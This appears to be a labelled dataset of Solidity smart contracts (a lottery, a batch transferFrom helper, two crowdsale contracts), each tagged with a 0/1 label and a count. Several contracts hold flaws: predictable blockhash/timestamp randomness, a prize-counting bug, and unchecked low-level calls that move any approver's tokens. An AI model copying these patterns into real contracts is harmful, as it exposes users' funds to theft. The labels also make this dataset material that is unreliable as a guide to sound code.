if(msg.sender == ADDRESS_SERVICE) {
startGame();
} else {
processUserTicket();
}
}
}
function processStartingJackpot() private {
if(msg.value > 0) {
JACKPOT += msg.value;
start_jackpot_amount += msg.value;
emit UpdateJackpot(JACKPOT);
} else {
if(start_jackpot_amount > 0){
_returnStartJackpot();
}
}
}
function _returnStartJackpot() private {
if(JACKPOT > start_jackpot_amount * 2 || (now - CONTRACT_STARTED_DATE) > return_jackpot_period) {
if(JACKPOT > start_jackpot_amount) {
ADDRESS_START_JACKPOT.transfer(start_jackpot_amount);
JACKPOT = JACKPOT - start_jackpot_amount;
start_jackpot_amount = 0;
} else {
ADDRESS_START_JACKPOT.transfer(JACKPOT);
start_jackpot_amount = 0;
JACKPOT = 0;
}
emit UpdateJackpot(JACKPOT);
}
}
function startGame() private {
if(GAME_NUM == 0) {
GAME_NUM = 1;
games[GAME_NUM].datetime = now;
games[GAME_NUM].status = 1;
CONTRACT_STARTED_DATE = now;
} else {
if(games[GAME_NUM].status == 1) {
processGame();
} else {
games[GAME_NUM].status = 1;
}
}
}
function processGame() private {
uint8[5] memory win_numbers;
uint8 mn = 0;
if(POOL_COUNTER == 0) {
w2 = 0;
w3 = 0;
w4 = 0;
w5 = 0;
for(uint8 i = 0; i < 5; i++) {
win_numbers[i] = random(i);
}
win_numbers = sortNumbers(win_numbers);
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(win_numbers[i] == win_numbers[j]) {
win_numbers[j]++;
}
}
}
games[GAME_NUM].win_numbers = win_numbers;
emit WinNumbers(GAME_NUM, win_numbers[0], win_numbers[1], win_numbers[2], win_numbers[3], win_numbers[4]);
} else {
win_numbers = games[GAME_NUM].win_numbers;
}
uint start = POOL_SIZE * POOL_COUNTER + 1;
uint end = POOL_SIZE * POOL_COUNTER + POOL_SIZE;
if(end > games[GAME_NUM].membersCounter) end = games[GAME_NUM].membersCounter;
uint _w2 = 0;
uint _w3 = 0;
uint _w4 = 0;
uint _w5 = 0;
for(uint i = start; i <= end; i++) {
mn = findMatch(win_numbers, games[GAME_NUM].members[i].numbers);
if(mn == 2) { _w2++; continue; }
if(mn == 3) { _w3++; continue; }
if(mn == 4) { _w4++; continue; }
if(mn == 5) { _w5++; }
}
if(_w2 != 0) { w2 += _w2; }
if(_w3 != 0) { w3 += _w3; }
if(_w4 != 0) { w4 += _w4; }
if(_w5 != 0) { w2 += _w5; }
if(end == games[GAME_NUM].membersCounter) {
uint totalFund = games[GAME_NUM].totalFund;
uint fund2 = totalFund * PERCENT_FUND_2 / 100;
uint fund3 = totalFund * PERCENT_FUND_3 / 100;
uint fund4 = totalFund * PERCENT_FUND_4 / 100;
uint _jackpot = JACKPOT + totalFund * PERCENT_FUND_JACKPOT / 100;
if(w2 != 0) {
games[GAME_NUM].p2 = fund2 / w2;
} else {
_jackpot += fund2;
}
if(w3 != 0) {
games[GAME_NUM].p3 = fund3 / w3;
} else {
_jackpot += fund3;
}
if(w4 != 0) {
games[GAME_NUM].p4 = fund4 / w4;
} else {
_jackpot += fund4;
}
if(w5 != 0) {
games[GAME_NUM].p5 = _jackpot / w5;
JACKPOT = 0;
start_jackpot_amount = 0;
} else {
JACKPOT = _jackpot;
}
emit UpdateJackpot(JACKPOT);
GAME_NUM++;
games[GAME_NUM].datetime = now;
emit NewGame(GAME_NUM);
POOL_COUNTER = 0;
ADDRESS_PR.transfer(FUND_PR);
FUND_PR = 0;
} else {
POOL_COUNTER++;
}
}
function findMatch(uint8[5] memory arr1, uint8[5] memory arr2) private pure returns (uint8) {
uint8 cnt = 0;
for(uint8 i = 0; i < 5; i++) {
for(uint8 j = 0; j < 5; j++) {
if(arr1[i] == arr2[j]) {
cnt++;
break;
}
}
}
return cnt;
}
function processUserTicket() private {
if(msg.value == 0) {
if(games[GAME_NUM].status != 1 || POOL_COUNTER > 0) return;
uint payoutAmount = 0;
for(uint i = 1; i <= GAME_NUM; i++) {
Game memory game = games[i];
if(game.win_numbers[0] == 0) { continue; }
for(uint j = 1; j <= game.membersCounter; j++) {
Member memory member = games[i].members[j];
if(member.payout == 1) { continue; }
uint8 mn = findMatch(game.win_numbers, member.numbers);
if(mn == 2) {
games[i].members[j].prize = game.p2;
payoutAmount += game.p2;
}
if(mn == 3) {
games[i].members[j].prize = game.p3;
payoutAmount += game.p3;
}
if(mn == 4) {
games[i].members[j].prize = game.p4;
payoutAmount += game.p4;
}
if(mn == 5) {
games[i].members[j].prize = game.p5;
payoutAmount += game.p5;
}
games[i].members[j].payout = 1;
emit PayOut(i, j, games[i].members[j].prize, 1);
}
}
if(payoutAmount != 0) msg.sender.transfer(payoutAmount);
return;
}
uint8 weekday = getWeekday(now);
uint8 hour = getHour(now);
if( GAME_NUM > 0 && games[GAME_NUM].status == 1 && POOL_COUNTER == 0 &&
(weekday != DRAW_DOW || (weekday == DRAW_DOW && (hour < (DRAW_HOUR - 1) || hour > (DRAW_HOUR + 2)))) ) {
if(msg.value == TICKET_PRICE) {
createTicket();
} else {
if(msg.value < TICKET_PRICE) {
FUND_PR = FUND_PR + msg.value.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + msg.value.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
} else {
msg.sender.transfer(msg.value.sub(TICKET_PRICE));
createTicket();
}
}
} else {
msg.sender.transfer(msg.value);
}
}
function createTicket() private {
bool err = false;
uint8[5] memory numbers;
FUND_PR = FUND_PR + TICKET_PRICE.mul(PERCENT_FUND_PR).div(100);
games[GAME_NUM].totalFund = games[GAME_NUM].totalFund + TICKET_PRICE.mul(100 - PERCENT_FUND_PR).div(100);
emit UpdateFund(games[GAME_NUM].totalFund);
(err, numbers) = ParseCheckData();
uint mbrCnt;
if(err) {
for(uint8 i = 0; i < 5; i++) {
numbers[i] = random(i);
}
for(uint8 i = 0; i < 4; i++) {
for(uint8 j = i + 1; j < 5; j++) {
if(numbers[i] == numbers[j]) {
numbers[j]++;
}
}
}
}
numbers = sortNumbers(numbers);
games[GAME_NUM].membersCounter++;
mbrCnt = games[GAME_NUM].membersCounter;
games[GAME_NUM].members[mbrCnt].addr = msg.sender;
games[GAME_NUM].members[mbrCnt].ticket = mbrCnt;
games[GAME_NUM].members[mbrCnt].numbers = numbers;
emit NewMember(GAME_NUM, mbrCnt, msg.sender, numbers[0], numbers[1], numbers[2], numbers[3], numbers[4]);
}
function ParseCheckData() private view returns (bool, uint8[5] memory) {
bool err = false;
uint8[5] memory numbers;
if(msg.data.length == 5) {
for(uint8 i = 0; i < msg.data.length; i++) {
numbers[i] = uint8(msg.data[i]);
}
for(uint8 i = 0; i < numbers.length; i++) {
if(numbers[i] < 1 || numbers[i] > MAX_NUMBER) {
err = true;
break;
}
}
if(!err) {
for(uint8 i = 0; i < numbers.length - 1; i++) {
for(uint8 j = i + 1; j < numbers.length; j++) {
if(numbers[i] == numbers[j]) {
err = true;
break;
}
}
if(err) {
break;
}
}
}
} else {
err = true;
}
return (err, numbers);
}
function sortNumbers(uint8[5] memory arrNumbers) private pure returns (uint8[5] memory) {
uint8 temp;
for(uint8 i = 0; i < arrNumbers.length - 1; i++) {
for(uint j = 0; j < arrNumbers.length - i - 1; j++)
if (arrNumbers[j] > arrNumbers[j + 1]) {
temp = arrNumbers[j];
arrNumbers[j] = arrNumbers[j + 1];
arrNumbers[j + 1] = temp;
}
}
return arrNumbers;
}
function getBalance() public view returns(uint) {
uint balance = address(this).balance;
return balance;
}
function random(uint8 num) internal view returns (uint8) {
return uint8((uint(blockhash(block.number - 1 - num*2)) + now) % MAX_NUMBER + 1);
}
function getHour(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getWeekday(uint timestamp) private pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function getGameInfo(uint i) public view returns (uint, uint, uint8, uint8, uint8, uint8, uint8, uint8, uint, uint, uint, uint) {
Game memory game = games[i];
return (game.totalFund, game.membersCounter, game.win_numbers[0], game.win_numbers[1], game.win_numbers[2], game.win_numbers[3], game.win_numbers[4], game.status, game.p2, game.p3, game.p4, game.p5);
}
function getMemberInfo(uint i, uint j) public view returns (address, uint, uint8, uint8, uint8, uint8, uint8, uint, uint8) {
Member memory mbr = games[i].members[j];
return (mbr.addr, mbr.ticket, mbr.numbers[0], mbr.numbers[1], mbr.numbers[2], mbr.numbers[3], mbr.numbers[4], mbr.prize, mbr.payout);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,684 |
pragma solidity ^0.4.25;
contract demo{
function transfer(address from,address caddress,address[] _tos,uint v)public returns (bool){
require(_tos.length > 0);
bytes4 id=bytes4(keccak256("transferFrom(address,address,uint256)"));
for(uint i=0;i<_tos.length;i++){
caddress.call(id,from,_tos[i],v);
}
return true;
}
} | 0 | 2,068 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
}
contract Ownable {
address internal owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public returns (bool) {
require(newOwner != address(0x0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Unlocked }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != 0x0);
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state != State.Refunding);
deposited[investor] = deposited[investor].add(msg.value);
}
function unlock() onlyOwner public {
require(state == State.Active);
state = State.Unlocked;
}
function withdraw(address beneficiary, uint256 amount) onlyOwner public {
require(beneficiary != 0x0);
require(state == State.Unlocked);
beneficiary.transfer(amount);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
interface MintableToken {
function mint(address _to, uint256 _amount) external returns (bool);
function transferOwnership(address newOwner) external returns (bool);
}
contract BitNauticWhitelist is Ownable {
using SafeMath for uint256;
uint256 public usdPerEth;
function BitNauticWhitelist(uint256 _usdPerEth) public {
usdPerEth = _usdPerEth;
}
mapping(address => bool) public AMLWhitelisted;
mapping(address => uint256) public contributionCap;
function setKYCLevel(address addr, uint8 level) onlyOwner public returns (bool) {
if (level >= 3) {
contributionCap[addr] = 50000 ether;
} else if (level == 2) {
contributionCap[addr] = SafeMath.div(500000 * 10 ** 18, usdPerEth);
} else if (level == 1) {
contributionCap[addr] = SafeMath.div(3000 * 10 ** 18, usdPerEth);
} else {
contributionCap[addr] = 0;
}
return true;
}
function setKYCLevelsBulk(address[] addrs, uint8[] levels) onlyOwner external returns (bool success) {
require(addrs.length == levels.length);
for (uint256 i = 0; i < addrs.length; i++) {
assert(setKYCLevel(addrs[i], levels[i]));
}
return true;
}
function setAMLWhitelisted(address addr, bool whitelisted) onlyOwner public returns (bool) {
AMLWhitelisted[addr] = whitelisted;
return true;
}
function setAMLWhitelistedBulk(address[] addrs, bool[] whitelisted) onlyOwner external returns (bool) {
require(addrs.length == whitelisted.length);
for (uint256 i = 0; i < addrs.length; i++) {
assert(setAMLWhitelisted(addrs[i], whitelisted[i]));
}
return true;
}
}
contract NewBitNauticCrowdsale is Ownable, Pausable {
using SafeMath for uint256;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
uint256 public ICOStartTime = 1531267200;
uint256 public ICOEndTime = 1537056000;
uint256 public constant tokenBaseRate = 500;
bool public manualBonusActive = false;
uint256 public manualBonus = 0;
uint256 public constant crowdsaleSupply = 35000000 * 10 ** 18;
uint256 public tokensSold = 0;
uint256 public constant softCap = 2500000 * 10 ** 18;
uint256 public teamSupply = 3000000 * 10 ** 18;
uint256 public bountySupply = 2500000 * 10 ** 18;
uint256 public reserveSupply = 5000000 * 10 ** 18;
uint256 public advisorSupply = 2500000 * 10 ** 18;
uint256 public founderSupply = 2000000 * 10 ** 18;
mapping (address => uint256) public creditOf;
mapping (address => uint256) public weiInvestedBy;
RefundVault private vault;
MintableToken public token;
BitNauticWhitelist public whitelist;
constructor(MintableToken _token, BitNauticWhitelist _whitelist, address _beneficiary) public {
token = _token;
whitelist = _whitelist;
vault = new RefundVault(_beneficiary);
}
function() public payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused public payable {
require(beneficiary != 0x0);
require(validPurchase());
require(SafeMath.add(weiInvestedBy[msg.sender], msg.value) <= whitelist.contributionCap(msg.sender));
uint256 tokens = SafeMath.mul(msg.value, tokenBaseRate);
tokens = tokens.add(SafeMath.mul(tokens, getCurrentBonus()).div(1000));
require(SafeMath.add(tokensSold, tokens) <= crowdsaleSupply);
tokensSold = SafeMath.add(tokensSold, tokens);
creditOf[beneficiary] = creditOf[beneficiary].add(tokens);
weiInvestedBy[msg.sender] = SafeMath.add(weiInvestedBy[msg.sender], msg.value);
emit TokenPurchase(msg.sender, beneficiary, msg.value, tokens);
vault.deposit.value(msg.value)(msg.sender);
}
function privateSale(address beneficiary, uint256 tokenAmount) onlyOwner public {
require(beneficiary != 0x0);
require(SafeMath.add(tokensSold, tokenAmount) <= crowdsaleSupply);
tokensSold = SafeMath.add(tokensSold, tokenAmount);
assert(token.mint(beneficiary, tokenAmount));
}
function offchainSale(address beneficiary, uint256 tokenAmount) onlyOwner public {
require(beneficiary != 0x0);
require(SafeMath.add(tokensSold, tokenAmount) <= crowdsaleSupply);
tokensSold = SafeMath.add(tokensSold, tokenAmount);
creditOf[beneficiary] = creditOf[beneficiary].add(tokenAmount);
emit TokenPurchase(beneficiary, beneficiary, 0, tokenAmount);
}
function claimBitNauticTokens() public returns (bool) {
return grantContributorTokens(msg.sender);
}
function grantContributorTokens(address contributor) public returns (bool) {
require(creditOf[contributor] > 0);
require(whitelist.AMLWhitelisted(contributor));
require(now > ICOEndTime && tokensSold >= softCap);
assert(token.mint(contributor, creditOf[contributor]));
creditOf[contributor] = 0;
return true;
}
function getCurrentBonus() public view returns (uint256) {
if (manualBonusActive) return manualBonus;
return Math.min(340, Math.max(100, (340 - (now - ICOStartTime) / (60 * 60 * 24) * 4)));
}
function setManualBonus(uint256 newBonus, bool isActive) onlyOwner public returns (bool) {
manualBonus = newBonus;
manualBonusActive = isActive;
return true;
}
function setICOEndTime(uint256 newEndTime) onlyOwner public returns (bool) {
ICOEndTime = newEndTime;
return true;
}
function validPurchase() internal view returns (bool) {
bool duringICO = ICOStartTime <= now && now <= ICOEndTime;
bool minimumContribution = msg.value >= 0.05 ether;
return duringICO && minimumContribution;
}
function hasEnded() public view returns (bool) {
return now > ICOEndTime;
}
function unlockVault() onlyOwner public {
if (tokensSold >= softCap) {
vault.unlock();
}
}
function withdraw(address beneficiary, uint256 amount) onlyOwner public {
vault.withdraw(beneficiary, amount);
}
bool isFinalized = false;
function finalizeCrowdsale() onlyOwner public {
require(!isFinalized);
require(now > ICOEndTime);
if (tokensSold < softCap) {
vault.enableRefunds();
}
isFinalized = true;
}
function claimRefund() public {
require(isFinalized);
require(tokensSold < softCap);
vault.refund(msg.sender);
}
function transferTokenOwnership(address newTokenOwner) onlyOwner public returns (bool) {
return token.transferOwnership(newTokenOwner);
}
function grantBountyTokens(address beneficiary) onlyOwner public {
require(bountySupply > 0);
token.mint(beneficiary, bountySupply);
bountySupply = 0;
}
function grantReserveTokens(address beneficiary) onlyOwner public {
require(reserveSupply > 0);
token.mint(beneficiary, reserveSupply);
reserveSupply = 0;
}
function grantAdvisorsTokens(address beneficiary) onlyOwner public {
require(advisorSupply > 0);
token.mint(beneficiary, advisorSupply);
advisorSupply = 0;
}
function grantFoundersTokens(address beneficiary) onlyOwner public {
require(founderSupply > 0);
token.mint(beneficiary, founderSupply);
founderSupply = 0;
}
function grantTeamTokens(address beneficiary) onlyOwner public {
require(teamSupply > 0);
token.mint(beneficiary, teamSupply);
teamSupply = 0;
}
} | 1 | 3,623 |
pragma solidity ^0.4.18;
contract TIOCrowdsale {
using DirectCrowdsaleLib for DirectCrowdsaleLib.DirectCrowdsaleStorage;
DirectCrowdsaleLib.DirectCrowdsaleStorage sale;
bool public greenshoeActive;
function TIOCrowdsale(
address owner,
uint256[] saleData,
uint256 fallbackExchangeRate,
uint256 capAmountInCents,
uint256 endTime,
uint8 percentBurn,
CrowdsaleToken token)
{
sale.init(owner, saleData, fallbackExchangeRate, capAmountInCents, endTime, percentBurn, token);
}
function () payable {
sendPurchase();
}
function sendPurchase() payable returns (bool) {
uint256 _tokensSold = getTokensSold();
if(_tokensSold > 270000000000000000000000000 && (!greenshoeActive)){
bool success = activateGreenshoe();
assert(success);
}
return sale.receivePurchase(msg.value);
}
function activateGreenshoe() private returns (bool) {
uint256 _currentPrice = sale.base.saleData[sale.base.milestoneTimes[sale.base.currentMilestone]][0];
while(sale.base.milestoneTimes.length > sale.base.currentMilestone + 1)
{
sale.base.currentMilestone += 1;
sale.base.saleData[sale.base.milestoneTimes[sale.base.currentMilestone]][0] = _currentPrice;
}
greenshoeActive = true;
return true;
}
function withdrawTokens() returns (bool) {
return sale.withdrawTokens();
}
function withdrawLeftoverWei() returns (bool) {
return sale.withdrawLeftoverWei();
}
function withdrawOwnerEth() returns (bool) {
return sale.withdrawOwnerEth();
}
function crowdsaleActive() constant returns (bool) {
return sale.crowdsaleActive();
}
function crowdsaleEnded() constant returns (bool) {
return sale.crowdsaleEnded();
}
function setTokenExchangeRate(uint256 _exchangeRate) returns (bool) {
return sale.setTokenExchangeRate(_exchangeRate);
}
function setTokens() returns (bool) {
return sale.setTokens();
}
function getOwner() constant returns (address) {
return sale.base.owner;
}
function getTokensPerEth() constant returns (uint256) {
return sale.base.tokensPerEth;
}
function getExchangeRate() constant returns (uint256) {
return sale.base.exchangeRate;
}
function getCapAmount() constant returns (uint256) {
if(!greenshoeActive) {
return sale.base.capAmount - 160000000000000000000000;
} else {
return sale.base.capAmount;
}
}
function getStartTime() constant returns (uint256) {
return sale.base.startTime;
}
function getEndTime() constant returns (uint256) {
return sale.base.endTime;
}
function getEthRaised() constant returns (uint256) {
return sale.base.ownerBalance;
}
function getContribution(address _buyer) constant returns (uint256) {
return sale.base.hasContributed[_buyer];
}
function getTokenPurchase(address _buyer) constant returns (uint256) {
return sale.base.withdrawTokensMap[_buyer];
}
function getLeftoverWei(address _buyer) constant returns (uint256) {
return sale.base.leftoverWei[_buyer];
}
function getSaleData(uint256 timestamp) constant returns (uint256[3]) {
return sale.getSaleData(timestamp);
}
function getTokensSold() constant returns (uint256) {
return sale.base.startingTokenBalance - sale.base.withdrawTokensMap[sale.base.owner];
}
function getPercentBurn() constant returns (uint256) {
return sale.base.percentBurn;
}
}
library DirectCrowdsaleLib {
using BasicMathLib for uint256;
using CrowdsaleLib for CrowdsaleLib.CrowdsaleStorage;
struct DirectCrowdsaleStorage {
CrowdsaleLib.CrowdsaleStorage base;
}
event LogTokensBought(address indexed buyer, uint256 amount);
event LogAddressCapExceeded(address indexed buyer, uint256 amount, string Msg);
event LogErrorMsg(uint256 amount, string Msg);
event LogTokenPriceChange(uint256 amount, string Msg);
function init(DirectCrowdsaleStorage storage self,
address _owner,
uint256[] _saleData,
uint256 _fallbackExchangeRate,
uint256 _capAmountInCents,
uint256 _endTime,
uint8 _percentBurn,
CrowdsaleToken _token)
public
{
self.base.init(_owner,
_saleData,
_fallbackExchangeRate,
_capAmountInCents,
_endTime,
_percentBurn,
_token);
}
function receivePurchase(DirectCrowdsaleStorage storage self, uint256 _amount)
public
returns (bool)
{
require(msg.sender != self.base.owner);
require(self.base.validPurchase());
if ((self.base.milestoneTimes.length > self.base.currentMilestone + 1) &&
(now > self.base.milestoneTimes[self.base.currentMilestone + 1]))
{
while((self.base.milestoneTimes.length > self.base.currentMilestone + 1) &&
(now > self.base.milestoneTimes[self.base.currentMilestone + 1]))
{
self.base.currentMilestone += 1;
}
self.base.changeTokenPrice(self.base.saleData[self.base.milestoneTimes[self.base.currentMilestone]][0]);
LogTokenPriceChange(self.base.tokensPerEth,"Token Price has changed!");
}
uint256 _numTokens;
uint256 _newBalance;
uint256 _weiTokens;
uint256 _leftoverWei;
uint256 _remainder;
bool err;
if((self.base.ownerBalance + _amount) > self.base.capAmount){
_leftoverWei = (self.base.ownerBalance + _amount) - self.base.capAmount;
_amount = _amount - _leftoverWei;
}
(err,_weiTokens) = _amount.times(self.base.tokensPerEth);
require(!err);
_numTokens = _weiTokens / 1000000000000000000;
_remainder = _weiTokens % 1000000000000000000;
_remainder = _remainder / self.base.tokensPerEth;
_leftoverWei = _leftoverWei + _remainder;
_amount = _amount - _remainder;
self.base.leftoverWei[msg.sender] += _leftoverWei;
self.base.hasContributed[msg.sender] += _amount;
assert(_numTokens <= self.base.token.balanceOf(this));
(err,_newBalance) = self.base.ownerBalance.plus(_amount);
require(!err);
self.base.ownerBalance = _newBalance;
self.base.withdrawTokensMap[msg.sender] += _numTokens;
(err,_remainder) = self.base.withdrawTokensMap[self.base.owner].minus(_numTokens);
require(!err);
self.base.withdrawTokensMap[self.base.owner] = _remainder;
LogTokensBought(msg.sender, _numTokens);
return true;
}
function setTokenExchangeRate(DirectCrowdsaleStorage storage self, uint256 _exchangeRate)
public
returns (bool)
{
return self.base.setTokenExchangeRate(_exchangeRate);
}
function setTokens(DirectCrowdsaleStorage storage self) public returns (bool) {
return self.base.setTokens();
}
function withdrawTokens(DirectCrowdsaleStorage storage self) public returns (bool) {
return self.base.withdrawTokens();
}
function withdrawLeftoverWei(DirectCrowdsaleStorage storage self) public returns (bool) {
return self.base.withdrawLeftoverWei();
}
function withdrawOwnerEth(DirectCrowdsaleStorage storage self) public returns (bool) {
return self.base.withdrawOwnerEth();
}
function getSaleData(DirectCrowdsaleStorage storage self, uint256 timestamp)
public
view
returns (uint256[3])
{
return self.base.getSaleData(timestamp);
}
function getTokensSold(DirectCrowdsaleStorage storage self) public view returns (uint256) {
return self.base.getTokensSold();
}
function crowdsaleActive(DirectCrowdsaleStorage storage self) public view returns (bool) {
return self.base.crowdsaleActive();
}
function crowdsaleEnded(DirectCrowdsaleStorage storage self) public view returns (bool) {
return self.base.crowdsaleEnded();
}
}
library CrowdsaleLib {
using BasicMathLib for uint256;
struct CrowdsaleStorage {
address owner;
uint256 tokensPerEth;
uint256 capAmount;
uint256 startTime;
uint256 endTime;
uint256 exchangeRate;
uint256 ownerBalance;
uint256 startingTokenBalance;
uint256[] milestoneTimes;
uint8 currentMilestone;
uint8 tokenDecimals;
uint8 percentBurn;
bool tokensSet;
bool rateSet;
mapping (uint256 => uint256[2]) saleData;
mapping (address => uint256) hasContributed;
mapping (address => uint256) withdrawTokensMap;
mapping (address => uint256) leftoverWei;
CrowdsaleToken token;
}
event LogTokensWithdrawn(address indexed _bidder, uint256 Amount);
event LogWeiWithdrawn(address indexed _bidder, uint256 Amount);
event LogOwnerEthWithdrawn(address indexed owner, uint256 amount, string Msg);
event LogNoticeMsg(address _buyer, uint256 value, string Msg);
event LogErrorMsg(uint256 amount, string Msg);
function init(CrowdsaleStorage storage self,
address _owner,
uint256[] _saleData,
uint256 _fallbackExchangeRate,
uint256 _capAmountInCents,
uint256 _endTime,
uint8 _percentBurn,
CrowdsaleToken _token)
public
{
require(self.capAmount == 0);
require(self.owner == 0);
require(_saleData.length > 0);
require((_saleData.length%3) == 0);
require(_saleData[0] > (now + 3 days));
require(_endTime > _saleData[0]);
require(_capAmountInCents > 0);
require(_owner > 0);
require(_fallbackExchangeRate > 0);
require(_percentBurn <= 100);
self.owner = _owner;
self.capAmount = ((_capAmountInCents/_fallbackExchangeRate) + 1)*(10**18);
self.startTime = _saleData[0];
self.endTime = _endTime;
self.token = _token;
self.tokenDecimals = _token.decimals();
self.percentBurn = _percentBurn;
self.exchangeRate = _fallbackExchangeRate;
uint256 _tempTime;
for(uint256 i = 0; i < _saleData.length; i += 3){
require(_saleData[i] > _tempTime);
require(_saleData[i + 1] > 0);
require((_saleData[i + 2] == 0) || (_saleData[i + 2] >= 100));
self.milestoneTimes.push(_saleData[i]);
self.saleData[_saleData[i]][0] = _saleData[i + 1];
self.saleData[_saleData[i]][1] = _saleData[i + 2];
_tempTime = _saleData[i];
}
changeTokenPrice(self, _saleData[1]);
}
function crowdsaleActive(CrowdsaleStorage storage self) public view returns (bool) {
return (now >= self.startTime && now <= self.endTime);
}
function crowdsaleEnded(CrowdsaleStorage storage self) public view returns (bool) {
return now > self.endTime;
}
function validPurchase(CrowdsaleStorage storage self) internal returns (bool) {
bool nonZeroPurchase = msg.value != 0;
if (crowdsaleActive(self) && nonZeroPurchase) {
return true;
} else {
LogErrorMsg(msg.value, "Invalid Purchase! Check start time and amount of ether.");
return false;
}
}
function withdrawTokens(CrowdsaleStorage storage self) public returns (bool) {
bool ok;
if (self.withdrawTokensMap[msg.sender] == 0) {
LogErrorMsg(0, "Sender has no tokens to withdraw!");
return false;
}
if (msg.sender == self.owner) {
if(!crowdsaleEnded(self)){
LogErrorMsg(0, "Owner cannot withdraw extra tokens until after the sale!");
return false;
} else {
if(self.percentBurn > 0){
uint256 _burnAmount = (self.withdrawTokensMap[msg.sender] * self.percentBurn)/100;
self.withdrawTokensMap[msg.sender] = self.withdrawTokensMap[msg.sender] - _burnAmount;
ok = self.token.burnToken(_burnAmount);
require(ok);
}
}
}
var total = self.withdrawTokensMap[msg.sender];
self.withdrawTokensMap[msg.sender] = 0;
ok = self.token.transfer(msg.sender, total);
require(ok);
LogTokensWithdrawn(msg.sender, total);
return true;
}
function withdrawLeftoverWei(CrowdsaleStorage storage self) public returns (bool) {
if (self.leftoverWei[msg.sender] == 0) {
LogErrorMsg(0, "Sender has no extra wei to withdraw!");
return false;
}
var total = self.leftoverWei[msg.sender];
self.leftoverWei[msg.sender] = 0;
msg.sender.transfer(total);
LogWeiWithdrawn(msg.sender, total);
return true;
}
function withdrawOwnerEth(CrowdsaleStorage storage self) public returns (bool) {
if ((!crowdsaleEnded(self)) && (self.token.balanceOf(this)>0)) {
LogErrorMsg(0, "Cannot withdraw owner ether until after the sale!");
return false;
}
require(msg.sender == self.owner);
require(self.ownerBalance > 0);
uint256 amount = self.ownerBalance;
self.ownerBalance = 0;
self.owner.transfer(amount);
LogOwnerEthWithdrawn(msg.sender,amount,"Crowdsale owner has withdrawn all funds!");
return true;
}
function changeTokenPrice(CrowdsaleStorage storage self,
uint256 _newPrice)
internal
returns (bool)
{
require(_newPrice > 0);
bool err;
uint256 result;
(err, result) = self.exchangeRate.times(10**uint256(self.tokenDecimals));
require(!err);
self.tokensPerEth = result / _newPrice;
return true;
}
function setTokenExchangeRate(CrowdsaleStorage storage self, uint256 _exchangeRate)
public
returns (bool)
{
require(msg.sender == self.owner);
require((now > (self.startTime - 3 days)) && (now < (self.startTime)));
require(!self.rateSet);
require(self.token.balanceOf(this) > 0);
require(_exchangeRate > 0);
uint256 _capAmountInCents;
bool err;
(err, _capAmountInCents) = self.exchangeRate.times(self.capAmount);
require(!err);
self.exchangeRate = _exchangeRate;
self.capAmount = (_capAmountInCents/_exchangeRate) + 1;
changeTokenPrice(self,self.saleData[self.milestoneTimes[0]][0]);
self.rateSet = true;
err = !(setTokens(self));
require(!err);
LogNoticeMsg(msg.sender,self.tokensPerEth,"Owner has set the exchange Rate and tokens bought per ETH!");
return true;
}
function setTokens(CrowdsaleStorage storage self) public returns (bool) {
require((msg.sender == self.owner) || (msg.sender == address(this)));
require(!self.tokensSet);
uint256 _tokenBalance;
_tokenBalance = self.token.balanceOf(this);
self.withdrawTokensMap[msg.sender] = _tokenBalance;
self.startingTokenBalance = _tokenBalance;
self.tokensSet = true;
return true;
}
function getSaleData(CrowdsaleStorage storage self, uint256 timestamp)
public
view
returns (uint256[3])
{
uint256[3] memory _thisData;
uint256 index;
while((index < self.milestoneTimes.length) && (self.milestoneTimes[index] < timestamp)) {
index++;
}
if(index == 0)
index++;
_thisData[0] = self.milestoneTimes[index - 1];
_thisData[1] = self.saleData[_thisData[0]][0];
_thisData[2] = self.saleData[_thisData[0]][1];
return _thisData;
}
function getTokensSold(CrowdsaleStorage storage self) public view returns (uint256) {
